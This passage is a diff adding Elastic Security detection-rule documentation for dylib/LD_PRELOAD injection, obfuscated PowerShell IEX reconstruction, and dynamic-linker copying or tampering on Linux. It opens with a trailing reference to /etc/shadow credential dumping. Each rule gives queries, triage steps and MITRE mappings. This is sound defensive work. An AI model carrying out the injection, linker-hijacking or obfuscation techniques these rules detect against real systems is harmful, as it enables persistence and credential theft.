/etc/shadow +** ID: T1003.008 +** Reference URL: https://attack.mitre.org/techniques/T1003/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-dylib-injection-via-process-environment-variables.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-dylib-injection-via-process-environment-variables.asciidoc new file mode 100644 index 0000000000..464c819ac9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-dylib-injection-via-process-environment-variables.asciidoc @@ -0,0 +1,155 @@ +[[prebuilt-rule-8-19-20-dylib-injection-via-process-environment-variables]] +=== Dylib Injection via Process Environment Variables + +Detects the use of process environment variables (DYLD_INSERT_LIBRARIES or LD_PRELOAD) to inject a shared library into a binary at or prior to execution. A threat actor may use this technique to load a malicious shared library for persistence, privilege escalation, and defense evasion. This activity is uncommon and typically indicates malicious behavior. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.library-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://wojciechregula.blog/post/learn-xpc-exploitation-part-3-code-injections/ +* https://attack.mitre.org/techniques/T1574/006/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Dylib Injection via Process Environment Variables* + + +Dynamic library injection using DYLD_INSERT_LIBRARIES or LD_PRELOAD environment variables is a powerful technique that allows code to be loaded into a process's address space at runtime. While this capability exists for legitimate debugging and development purposes, threat actors abuse it to hook application functionality, steal credentials, intercept keystrokes, or execute malicious code within trusted processes. This detection rule identifies processes started with these injection environment variables set to non-empty values. + + +*Possible investigation steps* + + +- Review the process.env_vars field to identify the specific dylib being injected via DYLD_INSERT_LIBRARIES or LD_PRELOAD and determine its file path. +- Locate the injected dylib file on the file system using the path from the environment variable and calculate its hash for threat intelligence lookups. +- Analyze the process.executable and process.name fields to identify the target application being hijacked and assess whether dylib injection makes sense for its normal operation. +- Examine the process.parent.executable and process.command_line to understand how the process with injection was launched and trace back to the initial execution vector. +- Review the code signature of the injected dylib using codesign or similar tools to determine if it is signed, and by whom. +- Check for file creation events to determine when the malicious dylib was placed on the system and how it was delivered. +- Correlate with other security events on the same host to identify if the injection is part of a larger attack chain, such as credential theft or keylogging. + + +*False positive analysis* + + +- Xcode and iOS Simulator use DYLD_INSERT_LIBRARIES for debugging and testing purposes during application development. These paths are already excluded in the query. +- Security research and reverse engineering tools may use library injection for analysis. Verify with security teams if such activities are expected. +- Some legitimate applications use library injection for specific functionality. Document these applications and create targeted exceptions after verification. +- Homebrew and development environments may occasionally use these environment variables. Confirm with development teams before creating exclusions. + + +*Response and remediation* + + +- Immediately terminate the process using malicious dylib injection to stop any ongoing malicious activity such as credential theft or keylogging. +- Quarantine the injected dylib file for forensic analysis and malware reverse engineering. +- Remove the malicious dylib from the system and ensure it cannot be reloaded through persistence mechanisms. +- Investigate how the dylib was placed on the system and remediate the initial access or delivery mechanism. +- Review System Integrity Protection (SIP) status on the affected system, as SIP should normally prevent DYLD injection into protected system processes. +- Scan the system for additional indicators of compromise, persistence mechanisms, or lateral movement. +- Reset any credentials that may have been exposed through the injection, particularly if the target application handles sensitive authentication data. +- Escalate to the incident response team for comprehensive analysis if the injection indicates active compromise. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=15s + [process where host.os.type == "macos" and event.type == "start" and event.action == "exec" and + process.env_vars like ("DYLD_INSERT_LIBRARIES=?*", "LD_PRELOAD=?*") and + not process.env_vars like ("DYLD_INSERT_LIBRARIES=", "LD_PRELOAD=", "LD_PRELOAD=") and + not process.executable like ("/Users/*/Library/Developer/Xcode/*", "/Users/*/Library/Developer/CoreSimulator/*") and + not process.parent.executable like ("/usr/bin/xcrun", "/Applications/Xcode*.app/*", "/Library/Developer/*")] + [library where host.os.type == "macos" and event.action == "load" and + not dll.name like ("*.aot", "*.so") and + not dll.code_signature.trusted == true and + not dll.path like ("/System/*", "/usr/lib/*", "/opt/homebrew/*", "/private/var/folders/*", + "/Library/Apple/*", "/Library/Developer/*", + "/Users/*/Library/Developer/Xcode/*", "/Users/*/Library/Developer/CoreSimulator/*")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-dynamic-iex-reconstruction-via-method-string-access.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-dynamic-iex-reconstruction-via-method-string-access.asciidoc new file mode 100644 index 0000000000..0210104e58 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-dynamic-iex-reconstruction-via-method-string-access.asciidoc @@ -0,0 +1,227 @@ +[[prebuilt-rule-8-19-20-dynamic-iex-reconstruction-via-method-string-access]] +=== Dynamic IEX Reconstruction via Method String Access + +Detects PowerShell scripts that rebuilds IEX by converting method references to strings (for example, ''.IndexOf.ToString()) and extracting multiple indexed characters (for example, [n,n,n]). Attackers use method-string reconstruction to conceal dynamic execution and bypass static detections and AMSI. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: PowerShell Logs +* Resources: Investigation Guide + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This guide was created by humans with the assistance of generative AI. While its contents have been manually curated to include the most valuable information, always validate assumptions and adjust procedures to match your internal runbooks and incident triage and response policies. + + +*Investigating Dynamic IEX Reconstruction via Method String Access* + + +This alert indicates PowerShell script block content that uses method-to-string conversion and indexed character extraction to assemble an execution primitive at runtime, commonly "IEX" (Invoke-Expression). This obfuscation technique can conceal dynamic execution intent and is often used to reduce obvious keywords in the script body. + + +*Key alert fields to review* + + +- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping. +- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping. +- `file.path`, `file.directory`, `file.name`: File-origin context when the script block is sourced from an on-disk file. +- `powershell.file.script_block_text`: Script block content that matched the detection logic. +- `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`: Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events. +- `Esql.script_block_tmp`: Transformed script block where detection patterns replace original content with a marker to support scoring/counting and quickly spot match locations. +- `Esql.script_block_pattern_count`: Count of matches for the detection pattern(s) observed in the script block content. +- `powershell.file.script_block_entropy_bits`: Shannon entropy of the script block. Higher values may indicate obfuscation. +- `powershell.file.script_block_surprisal_stdev`: Standard deviation of surprisal across the script block. Low values indicate uniform randomness. High values indicate mixed patterns and variability. +- `powershell.file.script_block_unique_symbols`: Count of distinct characters present in the script block. +- `powershell.file.script_block_length`: Script block length (size) context. + + +*Possible investigation steps* + + +- Establish execution context and scope: + - Review `host.name` and `host.id` to identify the affected endpoint and its role/criticality. + - Review `user.name`, `user.domain`, and `user.id` to determine whether the activity aligns with expected administrative or automation usage. + - Review `file.path`, `file.directory`, and `file.name` (when present) to understand whether the script originated from an on-disk file. + - Review `agent.id` to pivot to other telemetry from the same endpoint and timeframe. + +- Validate what matched and how extensively it appears: + - Review `Esql.script_block_pattern_count` to gauge how often the technique appears within the script block (higher counts can indicate heavier obfuscation). + - Use `Esql.script_block_tmp` to quickly locate the matched regions, then review the corresponding locations in `powershell.file.script_block_text` for the exact construct and nearby context. + - Review `powershell.file.script_block_length` alongside `powershell.file.script_block_entropy_bits`, `powershell.file.script_block_surprisal_stdev`, and `powershell.file.script_block_unique_symbols` to help distinguish isolated string tricks from broader obfuscation. + +- Reconstruct the full script block when content is split: + - Pivot on `powershell.file.script_block_id` and order results by `powershell.sequence`. + - Use `powershell.total` to confirm you have all fragments before making a final assessment. + - Preserve the reassembled content from `powershell.file.script_block_text` for follow-on analysis and scoping. + +- Determine the reconstructed token and follow-on behavior: + - In `powershell.file.script_block_text`, identify the method string being indexed and the associated index list (for example, [n,n,n]) to determine what characters are being assembled. + - Identify how the reconstructed string is used (for example, invoked directly, assigned to a variable, or passed as an argument) and what content it ultimately executes. + - Capture any secondary artifacts referenced in the script content (for example, embedded payload strings, additional script blocks, or external resource locations) and use them to drive further correlation. + +- Validate likely origin and initiating source: + - If `file.path` is present, validate whether the script location is expected for the user and host, and whether it appears in a user-writable location or a standard administrative tooling path. + - If file origin fields are not present, the script may have been executed interactively or generated at runtime; rely on surrounding endpoint telemetry to identify the initiating process and any related activity. + +- Correlate with adjacent activity to understand impact: + - Review other PowerShell script blocks on the same `host.id` and `user.id` around the alert time to identify staging steps and any follow-on execution. + - If process telemetry is available, identify the PowerShell process and its parent process that initiated execution, and check for suspicious child processes near the alert time. + - If network or file telemetry is available, look for downloads, outbound connections, and file writes temporally aligned with the script block execution and the content referenced within `powershell.file.script_block_text`. + +- Assess prevalence across the environment: + - Search for similar patterns (including stable substrings from `powershell.file.script_block_text`) across other hosts and users. + - Prioritize results with higher `Esql.script_block_pattern_count` and higher obfuscation metrics to identify likely common tooling or shared payloads. + + +*False positive analysis* + + +- PowerShell developers or automation teams may experiment with unconventional string manipulation, but method-string indexing to assemble execution primitives is uncommon in routine administration. +- Authorized security testing, malware analysis, or threat emulation activities can intentionally use this technique; validate against approved testing windows and operator accounts. +- Some script packaging or code protection approaches can introduce non-standard string operations; treat as benign only when the script origin (`file.path` / `file.name`), execution context (`user.id`), and surrounding host activity support a known, approved workflow. + + +*Response and remediation* + + +- If malicious or suspicious activity is confirmed: + - Contain the affected host identified by `host.id` to prevent additional execution and lateral movement. + - Preserve evidence from the alert, including `powershell.file.script_block_text`, `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`, `file.path`, and `Esql.script_block_pattern_count`. + - Scope for related activity by searching for similar content patterns across the environment and identifying additional impacted hosts and accounts. + - If an on-disk script is involved (`file.path` present), collect the file for analysis and remove or quarantine it according to your incident handling process. + - Review the associated account (`user.id`) for additional suspicious activity and remediate credential exposure as appropriate (for example, reset credentials and review recent authentication activity). + +- If the activity is determined to be benign: + - Document the legitimate script source, expected hosts, and operator accounts for future triage. + - Reduce noise with narrowly scoped suppression using stable characteristics available in the alert (for example, consistent `file.path` and repeatable non-sensitive substrings in `powershell.file.script_block_text`), while continuing to monitor for deviations. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-windows.powershell_operational* metadata _id, _version, _index +| where event.code == "4104" + +// Filter out smaller scripts that are unlikely to implement obfuscation using the patterns we are looking for +| eval Esql.script_block_length = length(powershell.file.script_block_text) +| where Esql.script_block_length > 500 + +// replace the patterns we are looking for with the 🔥 emoji to enable counting them +// The emoji is used because it's unlikely to appear in scripts and has a consistent character length of 1 +| eval Esql.script_block_tmp = replace( + powershell.file.script_block_text, + """(?i)['"]['"].(Insert|Normalize|Chars|substring|Remove|LastIndexOfAny|LastIndexOf|IsNormalized|IndexOfAny|IndexOf)[^\[]+\[\d+,\d+,\d+\]""", + "🔥" +) + +// count how many patterns were detected by calculating the number of 🔥 characters inserted +| eval Esql.script_block_pattern_count = length(Esql.script_block_tmp) - length(replace(Esql.script_block_tmp, "🔥", "")) + +// keep the fields relevant to the query, although this is not needed as the alert is populated using _id +| keep + Esql.script_block_pattern_count, + Esql.script_block_length, + Esql.script_block_tmp, + powershell.file.*, + file.path, + file.directory, + powershell.sequence, + powershell.total, + _id, + _version, + _index, + host.name, + host.id, + agent.id, + user.id + +// Filter for scripts that match the pattern at least once +| where Esql.script_block_pattern_count >= 1 + +| where not ( + file.directory like "C:\\\\Program Files\\\\WindowsPowerShell\\\\Modules\\\\Maester\\\\1.1.0*" or + file.directory like "C:\\\\Users\\\\*\\\\Documents\\\\WindowsPowerShell\\\\Modules\\\\Maester\\\\1.1.0*" + ) + // ESQL requires this condition, otherwise it only returns matches where file.directory exists. + or file.directory is null + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Command Obfuscation +** ID: T1027.010 +** Reference URL: https://attack.mitre.org/techniques/T1027/010/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-dynamic-linker-copy.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-dynamic-linker-copy.asciidoc new file mode 100644 index 0000000000..edaabb9727 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-dynamic-linker-copy.asciidoc @@ -0,0 +1,209 @@ +[[prebuilt-rule-8-19-20-dynamic-linker-copy]] +=== Dynamic Linker Copy + +Detects the copying of the Linux dynamic loader binary and subsequent file creation for the purpose of creating a backup copy. This technique was seen recently being utilized by Linux malware prior to patching the dynamic loader in order to inject and preload a malicious shared object file. This activity should never occur and if it does then it should be considered highly suspicious or malicious. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.intezer.com/blog/incident-response/orbit-new-undetected-linux-threat/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Threat: Orbit +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Dynamic Linker Copy* + + +The Linux dynamic linker is responsible for loading shared libraries required by executables at runtime. It is a critical component of the Linux operating system and should not be tampered with. + +Adversaries may attempt to copy the dynamic linker binary and create a backup copy before patching it to inject and preload malicious shared object files. This technique has been observed in recent Linux malware attacks and is considered highly suspicious or malicious. + +The detection rule 'Dynamic Linker Copy' is designed to identify such abuse by monitoring for processes with names "cp" or "rsync" that involve copying the dynamic linker binary ("/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2") and modifying the "/etc/ld.so.preload" file. Additionally, the rule checks for the creation of new files with the "so" extension on Linux systems. By detecting these activities within a short time span (1 minute), the rule aims to alert security analysts to potential malicious behavior. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible investigation steps* + + +- Investigate the dynamic linker that was copied or altered. + - !{osquery{"label":"Osquery - Retrieve File Listing Information","query":"SELECT * FROM file WHERE ( path = '/etc/ld.so.preload' OR path = '/lib64/ld-linux-x86-64.so.2' OR path =\n'/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2' OR path = '/usr/lib64/ld-linux-x86-64.so.2' OR path =\n'/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2' )\n"}} + - !{osquery{"label":"Osquery - Retrieve Additional File Listing Information","query":"SELECT f.path, u.username AS file_owner, g.groupname AS group_owner, datetime(f.atime, 'unixepoch') AS\nfile_last_access_time, datetime(f.mtime, 'unixepoch') AS file_last_modified_time, datetime(f.ctime, 'unixepoch') AS\nfile_last_status_change_time, datetime(f.btime, 'unixepoch') AS file_created_time, f.size AS size_bytes FROM file f LEFT\nJOIN users u ON f.uid = u.uid LEFT JOIN groups g ON f.gid = g.gid WHERE ( path = '/etc/ld.so.preload' OR path =\n'/lib64/ld-linux-x86-64.so.2' OR path = '/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2' OR path =\n'/usr/lib64/ld-linux-x86-64.so.2' OR path = '/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2' )\n"}} +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} +- Investigate other alerts associated with the user/host during the past 48 hours. +- Validate the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Investigate whether the altered scripts call other malicious scripts elsewhere on the file system. + - If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. +- Investigate abnormal behaviors by the subject process/user such as network connections, file modifications, and any other spawned child processes. + - Investigate listening ports and open sockets to look for potential command and control traffic or data exfiltration. + - !{osquery{"label":"Osquery - Retrieve Listening Ports","query":"SELECT pid, address, port, socket, protocol, path FROM listening_ports"}} + - !{osquery{"label":"Osquery - Retrieve Open Sockets","query":"SELECT pid, family, remote_address, remote_port, socket, state FROM process_open_sockets"}} + - Identify the user account that performed the action, analyze it, and check whether it should perform this kind of action. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific User","query":"SELECT * FROM users WHERE username = {{user.name}}"}} +- Investigate whether the user is currently logged in and active. + - !{osquery{"label":"Osquery - Investigate the Account Authentication Status","query":"SELECT * FROM logged_in_users WHERE user = {{user.name}}"}} + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. +- Any activity that triggered the alert and is not inherently malicious must be monitored by the security team. +- The security team should address any potential benign true positive (B-TP), as this configuration can put the user and the domain at risk. +- Try to understand the context of the execution by thinking about the user, machine, or business purpose. A small number of endpoints, such as servers with unique software, might appear unusual but satisfy a specific business need. + + +*Related Rules* + + +- Modification of Dynamic Linker Preload Shared Object Inside A Container - 342f834b-21a6-41bf-878c-87d116eba3ee +- Modification of Dynamic Linker Preload Shared Object - 717f82c2-7741-4f9b-85b8-d06aeb853f4f +- Shared Object Created or Changed by Previously Unknown Process - aebaa51f-2a91-4f6a-850b-b601db2293f4 + + +*Response and Remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=1m + [process where host.os.type == "linux" and event.type == "start" and process.name in ("cp", "rsync", "mv") and + process.args in ( + "/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2", "/etc/ld.so.preload", "/lib64/ld-linux-x86-64.so.2", + "/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2", "/usr/lib64/ld-linux-x86-64.so.2" + ) and + not process.args like ("/var/tmp/mkinitramfs*", "/var/tmp/dracut*", "/tmp/mkinitcpio*")] +[file where host.os.type == "linux" and event.action == "creation" and (file.extension == "so" or file.name like "*.so.*")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-dynamic-linker-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-dynamic-linker-creation.asciidoc new file mode 100644 index 0000000000..e1d10387d0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-dynamic-linker-creation.asciidoc @@ -0,0 +1,205 @@ +[[prebuilt-rule-8-19-20-dynamic-linker-creation]] +=== Dynamic Linker Creation + +Detects the creation of files related to the configuration of the dynamic linker on Linux systems. The dynamic linker is a shared library that is used by the Linux kernel to load and execute programs. Attackers may attempt to hijack the execution flow of a program by modifying the dynamic linker configuration files. This technique is often observed by userland rootkits that leverage shared objects to maintain persistence on a compromised host. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Dynamic Linker Creation or Modification* + + +The dynamic linker in Linux systems is crucial for loading shared libraries needed by programs at runtime. Adversaries may exploit this by altering linker configuration files to hijack program execution, enabling persistence or evasion. The detection rule identifies suspicious creation or renaming of these files, excluding benign processes and extensions, to flag potential threats. + + +*Possible investigation steps* + + +- Review the file path involved in the alert to determine if it matches any of the critical dynamic linker configuration files such as /etc/ld.so.preload, /etc/ld.so.conf.d/*, or /etc/ld.so.conf. +- Identify the process that triggered the alert by examining the process.executable field and verify if it is listed as a benign process in the exclusion list. If not, investigate the legitimacy of the process. +- Check the file extension and file.Ext.original.extension fields to ensure the file is not a temporary or expected system file, such as those with extensions like swp, swpx, swx, or dpkg-new. +- Investigate the process.name field to determine if the process is a known system utility like java, sed, or perl, and assess if its usage in this context is typical or suspicious. +- Gather additional context by reviewing recent system logs and other security alerts to identify any related or preceding suspicious activities that might indicate a broader attack or compromise. + + +*False positive analysis* + + +- Package management operations can trigger false positives when legitimate package managers like dpkg, rpm, or yum modify linker configuration files. To handle this, ensure these processes are included in the exclusion list to prevent unnecessary alerts. +- System updates or software installations often involve temporary file modifications with extensions like swp or dpkg-new. Exclude these extensions to reduce false positives. +- Automated system management tools such as Puppet or Chef may modify linker files as part of their configuration management tasks. Add these tools to the exclusion list to avoid false alerts. +- Virtualization and containerization platforms like Docker or VMware may alter linker configurations during normal operations. Verify these processes and exclude them if they are part of routine system behavior. +- Custom scripts or applications that use common names like sed or perl might be flagged if they interact with linker files. Review these scripts and consider excluding them if they are verified as safe. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Review and restore the original dynamic linker configuration files from a known good backup to ensure the integrity of the system's execution flow. +- Conduct a thorough scan of the affected system using updated antivirus and anti-malware tools to identify and remove any additional malicious software or scripts. +- Analyze system logs and the process execution history to identify the source of the unauthorized changes and determine if any other systems may be compromised. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on the organization. +- Implement additional monitoring on the affected system and similar systems to detect any future attempts to modify dynamic linker configuration files. +- Review and update access controls and permissions to ensure that only authorized personnel have the ability to modify critical system files, reducing the risk of similar incidents in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the 